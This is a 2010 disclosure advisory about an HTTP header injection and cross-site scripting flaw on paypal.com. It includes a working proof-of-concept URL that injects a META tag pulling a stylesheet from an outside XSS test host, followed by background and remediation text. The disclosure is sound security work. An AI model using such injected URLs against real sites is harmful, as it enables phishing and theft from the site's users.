Paypal.com Cross Site Scripting

`https://www.paypal.com | HTTP Header Injection | Cross Site Scripting (XSS)  
| CAPEC-34 | CWE-79<http://cloudscan.blogspot.com/2010/10/wwwpaypalcom-http-header-injection.html>  
Hoyt LLC - October 28, 2010 http://cloudscan.blogspot.com |  
http://cloudscan.me  
  
https://www.paypal.com | HTTP Header Injection | Cross Site Scripting (XSS)  
  
Tested on IE8, Chrome, Firefox. The affected URL's on  
https://www.paypal.com use  
aVerisign Extended Validation SSL  
Certificate<http://www.verisign.com/ssl/ssl-information-center/extended-validation-ssl-certificates/>,  
which in theory assures the visitors that the content and the domain name  
belong to PayPal and PayPal.com but in practice this Proof of Concept (PoC)  
will demonstrate that identity assurance of the SSL-EV can be exploited.  
  
PoC URL =  
https://www.paypal.com/%3CMETA%20HTTP-EQUIV=%22Link%22%20Content=%22%3Chttp://ha.ckers.org/xss.css%3E;%20REL=stylesheet%22%3E/pages/pageSearchRedesign.css  
  
Any potential phishing attacks leveraging the HTTP Header Injection into a  
Cross Site Scripting Attack (XSS) on the SSL EV Site could have a high  
success rate.  
  
10-28-2010 | The HTTP Header Injection and Cross Site Scripting Expressions  
can be injected into the Domain and the SSL-EV therefore should not load the  
Vulnerable URL.  
  
<http://cloudscan.me/images/paypal-response-splitting-11.jpg>  
----------------------------------------------  
PoC Example  
  
  
Issue backgroundHTTP header injection vulnerabilities arise when  
user-supplied data is copied into a response header in an unsafe way. If an  
attacker can inject newline characters into the header, then they can inject  
new HTTP headers and also, by injecting an empty line, break out of the  
headers into the message body and write arbitrary content into the  
application's response.  
  
Various kinds of attack can be delivered via HTTP header injection  
vulnerabilities. Any attack that can be delivered via cross-site scripting  
can usually be delivered via header injection, because the attacker can  
construct a request which causes arbitrary JavaScript to appear within the  
response body. Further, it is sometimes possible to leverage header  
injection vulnerabilities to poison the cache of any proxy server via which  
users access the application. Here, an attacker sends a crafted request  
which results in a "split" response containing arbitrary content. If the  
proxy server can be manipulated to associate the injected response with  
another URL used within the application, then the attacker can perform a  
"stored" attack against this URL which will compromise other users who  
request that URL in future. Issue remediationIf possible, applications  
should avoid copying user-controllable data into HTTP response headers. If  
this is unavoidable, then the data should be strictly validated to prevent  
header injection attacks. In most situations, it will be appropriate to  
allow only short alphanumeric strings to be copied into headers, and any  
other input should be rejected. At a minimum, input containing any  
characters with ASCII codes less than 0x20 should be rejected.  
`